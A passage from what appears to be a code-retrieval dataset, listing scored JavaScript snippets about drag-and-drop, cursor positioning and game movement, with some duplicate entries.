"title": "" }, { "docid": "9d08459f9d4bc43ab67dc1a78f5a6081", "score": "0.49034813", "text": "function grabber(event) {\n\n// Set the global variable for the element to be moved\n\n\ttheElement = event.currentTarget;\n\n// Determine the position of the word to be grabbed,\n// first removing the units from left and top\n\n\tvar posX = parseInt(theElement.style.left);\n\tvar posY = parseInt(theElement.style.top);\n\n// Compute the difference between where it is and\n// where the mouse click occurred\n\n\tdiffX = event.clientX - posX;\n\tdiffY = event.clientY - posY;\n\n// Now register the event handlers for moving and\n// dropping the word\n\n\tdocument.addEventListener(\"mousemove\", mover, true);\n\tdocument.addEventListener(\"mouseup\", dropper, true);\n\n// Stop propagation of the event and stop any default\n// browser action\n\n\tevent.stopPropagation();\n\tevent.preventDefault();\n\n} //** end of grabber", "title": "" }, { "docid": "be1267de28ac6f8f13fdeabc2d8ddf69", "score": "0.48863038", "text": "function moveDown() {\n undraw()\n const isAtBottom = current.some(index => \n squares[currentPosition + index + width].classList.contains('taken'))\n if (isAtBottom) {\n freeze()\n getnewTetromino()\n }\n else currentPosition += width\n draw()\n }", "title": "" }, { "docid": "331c548f21ccf74bc9fbee037129435e", "score": "0.48849812", "text": "BackToMenu()\n {\n for (let i = 0; i < this.commands[this.commandsIndex].length; i++)\n this.commands[this.commandsIndex][i].visible = false;\n\n this.attackCommand.visible = true;\n this.magicCommand.visible = true;\n this.commandsIndex = 0;\n }", "title": "" }, { "docid": "c2cb99bfafda4c03ca41e77236bef7d3", "score": "0.48748273", "text": "async dock() {\n\t\tawait this.command(143);\n\t}", "title": "" }, { "docid": "f880ea34f1cff2d53a645918a44333c3", "score": "0.48715788", "text": "dropItem() {\n var itemPos = 0;\n var item = null;\n itemPos = Math.floor(Math.random() * this.size + this.lowerBounds);\n\n while(this.board[itemPos].fallStage != Boardspace.STABLE || this.board[itemPos].hasPlayer() || this.board[itemPos].hasLoot())\n {\n itemPos = Math.floor(Math.random() * this.size + this.lowerBounds);\n }\n\n item = this.randomItem();\n\n // Apply changes\n this.board[itemPos].setLoot(item);\n setColorHex(itemPos+4, 0x00FFFF);\n\n // Error - Anirudh\n lookAtMeNow(itemPos+4);\n\n // Call UI\n return itemPos;\n }", "title": "" }, { "docid": "ad7e76d5c8ed3669c40caf0027f27967", "score": "0.4858563", "text": "function drop(e) {\n taxi.style.left = e.clientX - diffX + 'px';\n taxi.style.top = e.clientY - diffY + 'px';\n taxi.style.position = 'fixed';\n\n dropResponse.textContent = 'Nope, try again!';\n}", "title": "" }, { "docid": "3415a6263a290d6c3133c921ff5e22da", "score": "0.4856335", "text": "function getPosition(placement) {\n return placement.split(\"-\")[0];\n}", "title": "" }, { "docid": "3415a6263a290d6c3133c921ff5e22da", "score": "0.4856335", "text": "function getPosition(placement) {\n return placement.split(\"-\")[0];\n}", "title": "" }, { "docid": "3415a6263a290d6c3133c921ff5e22da", "score": "0.4856335", "text": "function getPosition(placement) {\n return placement.split(\"-\")[0];\n}", "title": "" }, { "docid": "3415a6263a290d6c3133c921ff5e22da", "score": "0.4856335", "text": "function getPosition(placement) {\n return placement.split(\"-\")[0];\n}", "title": "" }, { "docid": "16f88b3f427404cced08436dd10e29e0", "score": "0.4847768", "text": "function checkMovement() {\r\n var _inputColumn;\r\n if ( game.input.activePointer.duration > 150 && game.input.activePointer.duration < 6000 ) {\r\n _inputColumn = Math.floor( game.input.activePointer.x / 42 );\r\n if ( _inputColumn >= 0 && _inputColumn <= 6 ) {\r\n DOUBLEDROPOUT.inputColumn = _inputColumn;\r\n }\r\n } else if ( game.device.desktop ) {\r\n _inputColumn = Math.floor( game.input.mousePointer.x / 42 );\r\n if ( _inputColumn >= 0 && _inputColumn <= 6 ) {\r\n DOUBLEDROPOUT.inputColumn = _inputColumn;\r\n }\r\n }\r\n \r\n DOUBLEDROPOUT.inputPiece.x = colToX( DOUBLEDROPOUT.inputColumn ); \r\n}", "title": "" }, { "docid": "9eb1c0ae402c5f07f35b30762b992bd9", "score": "0.4846391", "text": "function getPosition(placement) {\n return placement.split(\"-\")[0];\n}", "title": "" }, { "docid": "2195663a3cae8240fa3a5ddc8a079389", "score": "0.48404154", "text": "function showBombLocation(elHint) {\n var randomNum = getRandomIntInclusive(0, bombHints.length - 1);\n var singleHint = bombHints[randomNum];\n bombHints.splice(randomNum, 1);\n //Get element by co-ords\n var elBombLoc = document.getElementById(`${singleHint.i}+${singleHint.j}`);\n elBombLoc.classList.add(\"hint\");\n setTimeout(function () {\n removeClass(elBombLoc, \"hint\");\n }, 1000);\n elHint.style.display = \"none\";\n}", "title": "" }, { "docid": "f08978cbccc4edac1abd8c15c43012e8", "score": "0.48394316", "text": "clearBottom(){\n if (!this.stream.isTTY){\n return;\n }\n\n _readline.clearScreenDown(this.stream);\n }", "title": "" }, { "docid": "f08978cbccc4edac1abd8c15c43012e8", "score": "0.48394316", "text": "clearBottom(){\n if (!this.stream.isTTY){\n return;\n }\n\n _readline.clearScreenDown(this.stream);\n }", "title": "" }, { "docid": "fbe46c3b62f337d9bd0d53b0f2aafa5d", "score": "0.48391822", "text": "function onWindowMove()\n{\n\tcheckPanelsPosition();\n}", "title": "" }, { "docid": "cbac15d44c8ad784f259d2023a1c3de1", "score": "0.4830611", "text": "function displaySidebarCommand (cmd) {\r\n let cmds = cmd.split(\"+\");\r\n command1 = Command1Select.value = cmds[0];\r\n\r\n // Refresh command2 content function of command1\r\n // 0 - \"none\"\r\n // 1 - \"Shift\"\r\n // 2 - \"Ctrl\" if >= FF63\r\n // 3 - \"Alt\" if >= FF63\r\n // 4 - \"MacCtrl\" if >= FF63 and Mac\r\n if (command1 == \"Ctrl\") {\r\n\tCommand2Select.remove(2);\r\n }\r\n else if (command1 == \"Alt\") {\r\n\tCommand2Select.remove(3);\r\n }\r\n else if (command1 == \"MacCtrl\") {\r\n\tCommand2Select.remove(4);\r\n }\r\n\r\n if (cmds.length == 2) {\r\n\tcommand2 = Command2Select.value = \"none\";\r\n\tCommand3Select.value = cmds[1];\r\n }\r\n else {\r\n\tcommand2 = Command2Select.value = cmds[1];\r\n\tCommand3Select.value = cmds[2];\r\n }\r\n}", "title": "" }, { "docid": "abddb05a3e44feeadb9ac0fc4a97b292", "score": "0.48223987", "text": "function drop(ev) {\n ev.preventDefault();\n //conseguir los datos cargados al iniciar el drag\n var data = ev.dataTransfer.getData(\"text\");\n var title = ev.dataTransfer.getData(\"title\");\n var idseccion = ev.dataTransfer.getData(\"idseccion\");\n var idramo = ev.dataTransfer.getData(\"idramo\");\n dragging = false\n // detokenizar y borrar cualquier otra seccion del mismo ramo arrastrado\n data = detokenize(data);\n // revisar si tiene choque de horarios\n var availability = currentSimulation.checkAvailability(data)\n if (availability.isPosible) {\n delSection(idramo)\n setFocus(idramo, idseccion)\n currentSimulation.addRamo({\n idRamo: idramo,\n idSeccion: idseccion,\n horarios: data,\n title: title,\n })\n } else {\n if(confirm(\"Se eliminarán \" + availability.ocurrences.length + \" ramos con tope, ¿Seguro que desea continuar?\")){\n delSection(idramo)\n availability.ocurrences.forEach((ramo) => {\n console.log(ramo)\n delSection(ramo.idRamo)\n })\n setFocus(idramo, idseccion)\n currentSimulation.addRamo({\n idRamo: idramo,\n idSeccion: idseccion,\n horarios: data,\n title: title,\n })\n }\n }\n var newRamo = $('#simulatorSelect').val()\n drawList(newRamo)\n drawHorario()\n}", "title": "" }, { "docid": "972a3f1b483aa20190464a7e49b270e8", "score": "0.4822052", "text": "function scene3NpcXTalk(){\n //console.log(test_npc);\n if(cursors.space.isDown){\n //console.log(test_npc.dialogue[1]);\n graphics = this.add.graphics();\n graphics.fillStyle(0x000000, 1);\n graphics.fillRect(player.x - 400, player.y + 100, 800, 500).setVisible(true);\n repairKitText = this.add.text(player.x - 380, player.y + 150, scene3NpcXObj.dialogue[1], { fontSize: '30px', fill: '#999' }).setVisible(true);\n // terminalText2.setText(scene3Npc1Obj.dialogue[1]);\n // terminalText2.setVisible(true);\n graphics.setVisible(true);\n// console.log(test_npc.dialogue[1]);\n this.physics.pause();\n }\n }", "title": "" }, { "docid": "216ef9dd63634a7ae748ca02875abdf0", "score": "0.48192024", "text": "function drop(ev) {\n ev.preventDefault();\n if(limbs === \"head\"){\n document.querySelector(\".\" + part)\n .style = \"position:fixed; top:0; height:700px; width:700px;\";\n } else if (limbs === \"torso\") {\n document.querySelector(\".\" + part)\n .style = \"position:fixed; top:200px; height:700px; width:700px;\";\n } else if(limbs === \"legs\"){\n document.querySelector(\".\" + part)\n .style = \"position:fixed; top:400px; height:700px; width:700px;\";\n }\n\n document.querySelector(\".wrapper\")\n .append(droppedItem);\n $(\"#\" + activeItem).draggable(); \n console.log(myFunko);\n console.log(ev);\n}", "title": "" }, { "docid": "885dd07217cd4c1d0f95d41c9a2eb692", "score": "0.48190358", "text": "function movedrop(snowdrop){\n ctx.fillRect(\n snowdrop.x-snowdrop.plane*snowdrop.snowstep+25*Math.sin(snowdrop.snowstep*3.14/32),\n snowdrop.snowstep*snowdrop.plane,\n 1+(snowdrop.plane/2),1+(snowdrop.plane/2) // Snow drop size\n );\n if (snowlist[i].snowstep*snowlist[i].plane>600 && stop==0){snowlist[i].snowstep=0}\n else {snowlist[i].snowstep++}\n }", "title": "" }, { "docid": "90fcf7bc6c2786fc769da102644c1b1c", "score": "0.48135585", "text": "function msDown(event) {\n\tvar evt = translateTouch(event);\n\tif(hand == null && evt.target != null) {\n\t\t// find signaling object\n\t\tvar active = false;\n\t\tvar grabbed = $(evt.target);\n\t\twhile(grabbed.length > 0) {\n\t\t\tif(grabbed.hasClass('openaction')) {\n\t\t\t\tgrabbed.parent().removeClass('collapsed').addClass('quickopen');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif(grabbed.is(canvas)) {\n\t\t\t\tunselectAll();\n\t\t\t\tupdateMenu();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tactive = active || grabbed.is('.box-text, .box.arg, .selected, .float');\n\t\t\tif(active && grabbed.hasClass('box'))\n\t\t\t\tbreak;\n\t\t\tgrabbed = grabbed.parent();\n\t\t}\n\t\tif(!grabbed.hasClass('selected')) {\n\t\t\tselect(grabbed);\n\t\t}\n\t\tif(!readonly)\n\t\t\thand = grabbed;\n\n\t\t// store object position. Will be updated when mouse moves.\n\t\tblocked = {\n\t\t\ttime : new Date().getTime() + (evt.isTouch ? 100 : 10)\n\t\t};\n\t\tstartOffset = undefined;\n\t\tstartPos = [evt.clientX, evt.clientY];\n\t\tevent.preventDefault();\n\t}\n}", "title": "" }, { "docid": "b0efbf7f8db873a4ba98200e4849e2ce", "score": "0.48073015", "text": "function drop(e){\n let itemID = document.querySelector('.moving');\n //validação para permitir o drop nas colunas\n\n if(!e.currentTarget.hasChildNodes() || e.currentTarget.lastChild.id >= itemID.id){ \n e.currentTarget.classList.add('yes');\n e.currentTarget.appendChild(itemID);\n itemID.classList.remove('moving')\n //incremento n° de movimentos\n document.querySelector(\"#numMov\").innerHTML++;\n };\n //removendo classes de indicação\n e.currentTarget.classList.remove('yes');\n e.currentTarget.classList.remove('noo');\n victory();\n}", "title": "" }, { "docid": "1e767a08965ad1c4d0107f70b7f6f71e", "score": "0.4802207", "text": "function windowKeydownListener (evt) {\n if (!tryDestroy()) {\n keydownHandler(function () {\n adjustCursorPosition()\n })(evt)\n }\n }", "title": "" }, { "docid": "e692b22da792b545081158567865e013", "score": "0.47973162", "text": "function ondrag(x,y,but,cmd,shift,capslock,option,ctrl)\n{\n\t\t\tvar moveknob = true;\n\t\tmousex = sketch.screentoworld(x,y)[0];\n\t\tmousey = sketch.screentoworld(x,y)[1];\n\n\tmousedist = computedist(mousex,mousey,knobpos[selectedknob],knobpos[selectedknob+1]);\n\tif(moveknob){\n\tknobpos[selectedknob] = mousex;\n\tknobpos[selectedknob+1] = mousey;\n\t}\n\n\tbang();\n}", "title": "" }, { "docid": "3c33bb6cdca72096e0e32ad65f72603e", "score": "0.47951436", "text": "function hmo(evt, n, disbl) {\n\n if (mpObj.editMode && disbl) {\n //do nothing\n }\n else {\n var s = n.style, p = getPosition(evt), top = p.y + 30, left = p.x + 20;\n evt = evt || window.event;\n // n._ps = n.previousSibling;\n document.body.appendChild(n);\n s.display = \"block\";\n s.left = left + \"px\";\n s.top = top + \"px\";\n\n }\n}", "title": "" }, { "docid": "84ab02af82c8c566189c509d5cf6ed6b", "score": "0.479458", "text": "get DragExited() {}", "title": "" }, { "docid": "3175bb35a30fd8b1beed35b61c36e715", "score": "0.4790794", "text": "function GetCursorPos(out = new ImVec2()) { return bind.GetCursorPos(out); }", "title": "" }, { "docid": "96efdc3d274d118d0646d3d9b5537e31", "score": "0.4773052", "text": "function grabber(event) {\r\n\r\n// Set the global variable for the element to be moved\r\n// this uses DOM 2 feature to ask for event's currentTarget\r\n\r\n theElement = event.currentTarget;\r\n\r\n// Determine the position of the word to be grabbed,\r\n// first removing the units from left and top\r\n\r\n var posX = parseInt(theElement.style.left);\r\n var posY = parseInt(theElement.style.top);\r\n\r\n// Compute the difference between where it is and \r\n// where the mouse click occurred\r\n\r\n diffX = event.clientX - posX;\r\n diffY = event.clientY - posY;\r\n\r\n// Now register the event handlers for moving and \r\n// dropping the word (DOM 2 feature)\r\n \r\n document.addEventListener(\"mousemove\", mover, true);\r\n document.addEventListener(\"mouseup\", dropper, true);\r\n\r\n// Stop propagation of the event and stop any default \r\n// browser action\r\n\r\n event.stopPropagation();\r\n event.preventDefault();\r\n\r\n} //** end of grabber", "title": "" }, { "docid": "ad603ae3ea07e09fb824741aee6ff076", "score": "0.47725898", "text": "advance() {\n this.currentCommand = this.lines[this.pos].split(' ');\n this.pos++;\n }", "title": "" }, { "docid": "b6ba8e4da4ee1ae9776148a5fea767e1", "score": "0.47703153", "text": "function birdPos () {\n if (parseInt($bird.css('top')) <= 0 || parseInt($bird.css('top')) > $('.container').height() - $('.bird').width()) {\n gameEnd()\n }\n }", "title": "" }, { "docid": "94e86f0c720b72fa9ce0cd34ada5915f", "score": "0.47689173", "text": "function onpressup(evt) {\n\t\t\n\t\t\t\tstage.preventSelection = false;\n\t\t\n\t\t\t\tvar isHit = false;\n\t\t\n\t\t\t\tconsole.log(\"droped\");\n\t\t\t\tconsole.log(\"evt.currentTarget.x\" + evt.currentTarget.x);\n\t\t\n\t\t\n\t\t\t\tisHit = checkHit(evt.currentTarget);\n\t\t\n\t\t\t\tif (isHit) {\n\t\t\n\t\t\t\t\tevt.currentTarget.x = currentHit.x;\n\t\t\t\t\tevt.currentTarget.y = currentHit.y;\n\t\t\t\t\t//stage.update(evt);\n\t\t\n\t\t\t\t\tused_dropArray.push(currentHitString);\n\t\t\t\t\tcurrentHit.gotoAndStop(2);\n\t\t\n\t\t\t\t\tmc_droped++;\n\t\t\t\t\tcheckCorrect(evt.currentTarget, currentHit);\n\t\t\n\t\t\t\t\tevt.currentTarget.removeEventListener(\"pressup\", onpressup);\n\t\t\t\t\tevt.currentTarget.removeEventListener(\"pressmove\", onpressmove);\n\t\t\n\t\t\t\t} else {\n\t\t\n\t\t\t\t\treturntoFirstplace(evt.currentTarget);\n\t\t\n\t\t\t\t}\n\t\t\n\t\t\t}", "title": "" }, { "docid": "dc55e1d321c31ce1504dfdb999b9fd7e", "score": "0.47686848", "text": "function dropPiece() {\n clickedPiece.curX = mouse.x - pieceOffsetX;\n clickedPiece.curY = mouse.y - pieceOffsetY;\n document.onmousemove = null;\n document.onmouseup = null;\n new Audio(\"./media/release.wav\").play();\n // Se verifica daca e complet\n checkAndReset();\n}", "title": "" }, { "docid": "1e435ca91a6d78f8e440b266b4fd569e", "score": "0.47662172", "text": "processCommand(message) {\n this.setLocationMode(message)\n }", "title": "" }, { "docid": "0851d4bd86a884663758b0402c516b1e", "score": "0.47613412", "text": "function shellInvalidCommand()\n {\n _StdIn.addText(\"Invalid Command. \");\n if (_SarcasticMode)\n {\n _StdIn.addText(\"Duh. Go back to your Speak & Spell.\");\n }\n else\n {\n _StdIn.addText(\"Type 'help' for, well... help.\");\n }\n }", "title": "" }, { "docid": "b5063092924de3dbae4ad52a86a79e33", "score": "0.4754325", "text": "function makeBox(){\r\nvar my_var = getVar('as_graph').replace(/ /g,'');\r\n// If it\r\nvar n = my_var.length;\r\n\r\nif(n!=20)\r\n{\r\nrunCommand('display box Box(as_graph)');\r\n}\r\nelse{\r\nalert(\"Nothing selected to make box. Please right-click drag to select atoms\");\r\n//\r\n};\r\n}", "title": "" }, { "docid": "78648e472b3380533776023010b4b855", "score": "0.47498977", "text": "function onMoveStart(e) {\n\thideInfo();\n}", "title": "" }, { "docid": "e1bf4e5bbcd07e47e59c4518ccd68cba", "score": "0.47391734", "text": "function shellInvalidCommand()\n{\n _StdIn.putText(\"Invalid Command. \");\n if (_SarcasticMode)\n {\n _StdIn.putText(\"Duh. Go back to your Speak & Spell.\");\n }\n else\n {\n _StdIn.putText(\"Type 'help' for, well... help.\");\n }\n}", "title": "" }, { "docid": "e1bf4e5bbcd07e47e59c4518ccd68cba", "score": "0.47391734", "text": "function shellInvalidCommand()\n{\n _StdIn.putText(\"Invalid Command. \");\n if (_SarcasticMode)\n {\n _StdIn.putText(\"Duh. Go back to your Speak & Spell.\");\n }\n else\n {\n _StdIn.putText(\"Type 'help' for, well... help.\");\n }\n}", "title": "" }, { "docid": "98e26979f08774f18bd4812a922472ce", "score": "0.47375566", "text": "static get POS_BOTLEFT() {return 0x00}", "title": "" }, { "docid": "b077d9b3edbd388e5604a42922b864ea", "score": "0.47257292", "text": "function posicionarme(evt){\n\tvar pos = pos_evento(evt);\n\tvar cruce = revisar_cruce(pos, pos);\n\tif(cruce.choque){\n\t\talert('hay que partir dentro de la pista');\n\t\treturn;\n\t}\n\n\tenviar({\n\t\taccion: 'posicion',\n\t\tid: yo.id,\n\t\tpos: pos\n\t});\n\n\t$('#actual').unbind('mousemove');\n\t$('#actual').unbind('click');\n\n\tposicion_inicial(yo, pos);\n}", "title": "" }, { "docid": "19f9d41d4f6650f32c6e03de8d4d838a", "score": "0.47250247", "text": "function displacement(){\r\n\tif (keyboard.left==1){\r\n\t//if keyboard.left=1 => decrease smiley x position\r\n\t\tif(checkLeft())\r\n\t\t{\r\n\t\tif (bmpAnimation.x>=-10){\r\n\t\t\tif(ocCheckLeft())\r\n\t\t\t{\r\n\t\t\tbmpAnimation.x=bmpAnimation.x-4;\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(checkLeft())\r\n\t\t\t{\r\n\t\t\t\tbmpAnimation.x=bmpAnimation.x+650;\r\n\t\t\t\tmapPosition=mapPosition-1;\r\n\t\t\t\tloadlevel(mapPosition);\r\n\t\t\t\t$(\"#num\").html(mapPosition);\r\n\t\t\t\tlayoutContainer.getChildByName(\"wai\").x = layoutContainer.getChildByName(\"wai\").x-63; \r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif (bmpAnimation.x>=0){\r\n\t\t\tif(ocCheckLeft())\r\n\t\t\t{\r\n\t\t\tbmpAnimation.x=bmpAnimation.x-4;\t\r\n\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (keyboard.right==1){\r\n\t//if keyboard.right=1 => increase smiley x position\r\n\t\tif(checkRight())\r\n\t\t{\r\n\t\tif (bmpAnimation.x<=640){\r\n\t\t\t\r\n\t\t\tif(ocCheckRight())\r\n\t\t\t{\r\n\t\t\tbmpAnimation.x=bmpAnimation.x+4;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(checkRight())\r\n\t\t\t{\r\n\t\t\t\tbmpAnimation.x=bmpAnimation.x-650;\r\n\t\t\t\tmapPosition=mapPosition+1;\r\n\t\t\t\tloadlevel(mapPosition);\r\n\t\t\t\t$(\"#num\").html(mapPosition);\r\n\t\t\t\tlayoutContainer.getChildByName(\"wai\").x = layoutContainer.getChildByName(\"wai\").x+63; \r\n\t\t\t}\r\n\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif (bmpAnimation.x<=610){\t\r\n\t\t\tif(ocCheckRight())\r\n\t\t\t{\r\n\t\t\tbmpAnimation.x=bmpAnimation.x+4;\r\n\t\t\t}\r\n\t\t}\r\n\t\t}\r\n\t}\r\n\tif (keyboard.up==1){\r\n\t////if keyboard.up=1 => decrease smiley y position\r\n\t\tif(checkUp())\r\n\t\t{\r\n\t\tif (bmpAnimation.y>=-30){\r\n\t\t\tif(ocCheckUp())\r\n\t\t\t{\r\n\t\t\t\tbmpAnimation.y=bmpAnimation.y-4;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(checkUp())\r\n\t\t\t{\r\n\t\t\t\tbmpAnimation.y=bmpAnimation.y+500;\r\n\t\t\t\tmapPosition=mapPosition-5;\r\n\t\t\t\tloadlevel(mapPosition);\r\n\t\t\t\t$(\"#num\").html(mapPosition);\r\n\t\t\t\tlayoutContainer.getChildByName(\"wai\").y = layoutContainer.getChildByName(\"wai\").y-63; \r\n\t\t\t}\r\n\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif (bmpAnimation.y>=0){\r\n\t\t\tif(ocCheckUp())\r\n\t\t\t{\r\n\t\t\t\tbmpAnimation.y=bmpAnimation.y-4;\r\n\t\t\t}\r\n\t\t}\r\n\t\t}\r\n\t}\r\n\tif (keyboard.down==1){\r\n\t//if keyboard.down=1 => increase smiley y position\r\n\t\tif(checkDown())\r\n\t\t{\r\n\t\t\r\n\t\tif (bmpAnimation.y<=470){\r\n\t\t\tif(ocCheckDown())\r\n\t\t\t{\r\n\t\t\tbmpAnimation.y=bmpAnimation.y+4;\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(checkDown())\r\n\t\t\t{\r\n\t\t\t\tbmpAnimation.y=bmpAnimation.y-500;\r\n\t\t\t\tmapPosition=mapPosition+5;\r\n\t\t\t\tloadlevel(mapPosition);\r\n\t\t\t\t$(\"#num\").html(mapPosition);\r\n\t\t\t\tlayoutContainer.getChildByName(\"wai\").y = layoutContainer.getChildByName(\"wai\").y+63; \r\n\t\t\t}\r\n\t\t}\r\n\t\t}\r\n\t\telse{\r\n\t\t\tif (bmpAnimation.y<=434){\r\n\t\t\tif(ocCheckDown())\r\n\t\t\t{\r\n\t\t\tbmpAnimation.y=bmpAnimation.y+4;\t\r\n\t\t\t}\r\n\t\t}\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "3975311ae4e859c721a0ae6ff5e3eef3", "score": "0.4724423", "text": "function dropTimeline(event, ui) {\n var time = ui.offset.left;\n console.log(\"Time: \", time);\n// timeline.push();\n}", "title": "" }, { "docid": "3dab2d6d3dff91044df51b6d0c9a1985", "score": "0.4721431", "text": "function shellInvalidCommand() {\n _StdIn.putText(\"Invalid Command. \");\n if (_SarcasticMode) {\n _StdIn.putText(\"Duh. Go back to your Speak & Spell.\");\n }\n else {\n _StdIn.putText(\"Type 'help' for, well... help.\");\n }\n}", "title": "" }, { "docid": "bcef3feb9d997fecd311798b63b15dee", "score": "0.47120553", "text": "function showBug(e) { // un/hide area/shape maker, and other stuff\n if(e.ctrlKey) {\n DisplayClass(\"clsDebugs\"); // toggle hidedness\n ShowAll = true;\n }\n if(e.shiftKey) {\n Toasted = false;\n StartTheToast();\n HandleShowText(true);\n /// idTextOut.scrollIntoView(false);\n Toasted = false;\n }\n}", "title": "" }, { "docid": "c56fc9ad12120b813a3d694b9c875f9c", "score": "0.47107306", "text": "updatePos(){\n\n if(this.index<=5&&uiObject.text1Active) {\n uiObject.text1Active = false;\n $(\"#instruct1\").remove();\n }\n else if(this.index>=12&&uiObject.text2Active) {\n uiObject.text2Active = false;\n $(\"#instruct2\").remove();\n }\n this.valueX = constrain(mouseX, this.x, this.x+this.w);\n this.valueY = constrain(mouseY, this.y, this.y+this.h);\n }", "title": "" }, { "docid": "3d3fd63dcc487ba63c85391dbb6812dc", "score": "0.47079334", "text": "function dropToken(column, player) {\n if ($scope.board[column][tokenIndex+1] === 0) {\n $timeout(function() {\n $scope.board[column][tokenIndex] = 0;\n $scope.board[column][++tokenIndex] = player;\n dropToken(column, player);\n },75);\n } else {\n checkForWin(column, player);\n IN_DROP = false;\n }\n }", "title": "" }, { "docid": "d86dccf10b686908f63583725f073d32", "score": "0.4707353", "text": "function gestionDeplacements(event)\n{\n // Joueur Gauche : Touche Z : la raquette gauche monte\n if (event.keyCode == 90) \n {\n // Evite la sortie de la raquette en haut\n if (posYRaqGauche - DEPLACEMENT_RAQUETTE >= 0)\n posYRaqGauche -= DEPLACEMENT_RAQUETTE;\n }\n // Joueur Gauche : Touche S : la raquette gauche descend\n else if (event.keyCode == 83)\t\n {\n if (posYRaqGauche + DEPLACEMENT_RAQUETTE + RAQUETTE_HEIGHT <= CANVAS_HEIGHT)\n posYRaqGauche += DEPLACEMENT_RAQUETTE;\n }\n // Joueur Droite : Touche Haut : la raquette droite monte\n else if (event.keyCode == 38)\n {\n if (posYRaqDroite - DEPLACEMENT_RAQUETTE >= 0)\n posYRaqDroite -= DEPLACEMENT_RAQUETTE;\n }\n // Joueur Droite : Touche Bas : la raquette droite descend\n else if (event.keyCode == 40)\t\n {\n if (posYRaqDroite + DEPLACEMENT_RAQUETTE + RAQUETTE_HEIGHT <= CANVAS_HEIGHT)\n posYRaqDroite += DEPLACEMENT_RAQUETTE;\n }\n}", "title": "" }, { "docid": "6812593892e7efb579f0161f60af503b", "score": "0.46949497", "text": "function erase(n) {\n\t\t\t\t\tcommand = command.slice(0, -n);\n\t\t\t\t\tterminal.html(terminal.html().slice(0, -n));\n\t\t\t}", "title": "" }, { "docid": "60536da03b949712ddcb1ae06d083aaa", "score": "0.46911216", "text": "function GetCursorScreenPos(out = new ImVec2()) { return bind.GetCursorScreenPos(out); }", "title": "" }, { "docid": "63e274ed9377a2eae3afdee1c95f0ae4", "score": "0.46897554", "text": "function pos_bb2gDevicesBolt()\n{\n\tdocWidth = $j(window).width();\n\t\n\tvar bolt = $j('div.backgroundFeature');\n\tvar boltWidth = 775;\n\tvar rightBound = (docWidth / 2) - 150;\n\t\n\tif (boltWidth > rightBound) \n\t{\n\t\tif (docWidth > 963)\n\t\t\tbolt.css('left', rightBound - boltWidth + \"px\").show();\n\t\telse bolt.css('left', \"-437px\").show();\n\t}\n\telse \n\t\tbolt.css('left', \"0\").width(rightBound).show();\n}", "title": "" }, { "docid": "63e274ed9377a2eae3afdee1c95f0ae4", "score": "0.46897554", "text": "function pos_bb2gDevicesBolt()\n{\n\tdocWidth = $j(window).width();\n\t\n\tvar bolt = $j('div.backgroundFeature');\n\tvar boltWidth = 775;\n\tvar rightBound = (docWidth / 2) - 150;\n\t\n\tif (boltWidth > rightBound) \n\t{\n\t\tif (docWidth > 963)\n\t\t\tbolt.css('left', rightBound - boltWidth + \"px\").show();\n\t\telse bolt.css('left', \"-437px\").show();\n\t}\n\telse \n\t\tbolt.css('left', \"0\").width(rightBound).show();\n}", "title": "" }, { "docid": "25fe5869c2edba340cac8ab987c1b32c", "score": "0.46843672", "text": "function shellTabComplete()\n {\n // get current entry\n var input = _Console.buffer.inputLine;\n var entry = input.line;\n \n var possible = new Array();\n for(var key in _OsShell.commandList)\n {\n if(key.indexOf(entry) == 0)\n {\n possible.push(_OsShell.commandList[key].command);\n }\n }\n \n if(possible.length == 1)\n {\n var command = possible[0];\n _Console.buffer.replaceLine(command);\n }\n }", "title": "" }, { "docid": "b4e751dbb56eadaafb0731fcb80e492f", "score": "0.46695545", "text": "function getPosition(evt) {\n let path = (evt.composedPath && evt.composedPath()) || evt.path, target = evt.target;\n isSelectAction = true;\n switch (path[1].id) {\n case \"pickaxe\":\n actionTools = \"pickaxe\";\n break;\n case \"shovel\":\n actionTools = \"shovel\";\n break;\n case \"axe\":\n actionTools = \"axe\";\n break;\n case \"change\":\n actionTools = \"change\";\n evt.style.backgroundImage=url(lastPic);\n break;\n }\n}", "title": "" }, { "docid": "e6b23643d2cbbb2e198924374f4e9dcd", "score": "0.46671298", "text": "function undo(){\n //alert( global.variables.recent_move_attr +\"\\n\"+ global.variables.recent_move_ids);\n \n if(global.variables.recent_move_attr.length!=0){\n \n togglehighlight(global.variables.highlighted); //toggle the alredy highlighted options and make empty\n \n recent_move_attr2=global.variables.recent_move_attr.pop();\n recent_move_attr1=global.variables.recent_move_attr.pop();\n \n recent_move_icon2=global.variables.recent_move_icons.pop();\n recent_move_icon1=global.variables.recent_move_icons.pop();\n \n recent_move_id2=global.variables.recent_move_ids.pop();\n recent_move_id1=global.variables.recent_move_ids.pop();\n \n let start_id=[];\n let end_id=[];\n \n $(\"#\"+recent_move_id1).html(recent_move_icon1);\n $(\"#\"+recent_move_id2).html(recent_move_icon2);\n \n $(\"#\"+recent_move_id1).attr('chess',recent_move_attr1);\n $(\"#\"+recent_move_id2).attr('chess',recent_move_attr2);\n \n if(recent_move_attr1!='null'){\n global.variables.pieces[recent_move_attr1].position =recent_move_id1;\n }\n if(recent_move_attr2!='null'){\n global.variables.pieces[recent_move_attr2].position =recent_move_id2;\n }\n \n //check if a undo operation on first pawn move\n if(global.variables.pieces[recent_move_attr1].type=='w_pawn'){\n \n start_id=recent_move_id1.split('_');\n \n if(start_id[1]=='2'){\n global.variables.pieces[recent_move_attr1].moved = false;\n }\n }else if(global.variables.pieces[recent_move_attr1].type=='b_pawn'){\n \n start_id=recent_move_id1.split('_');\n \n if(start_id[1]=='7'){\n global.variables.pieces[recent_move_attr1].moved = false;\n }\n }\n\n //write a code of undo for captured icons\n \n if(recent_move_attr2!='null'){\n 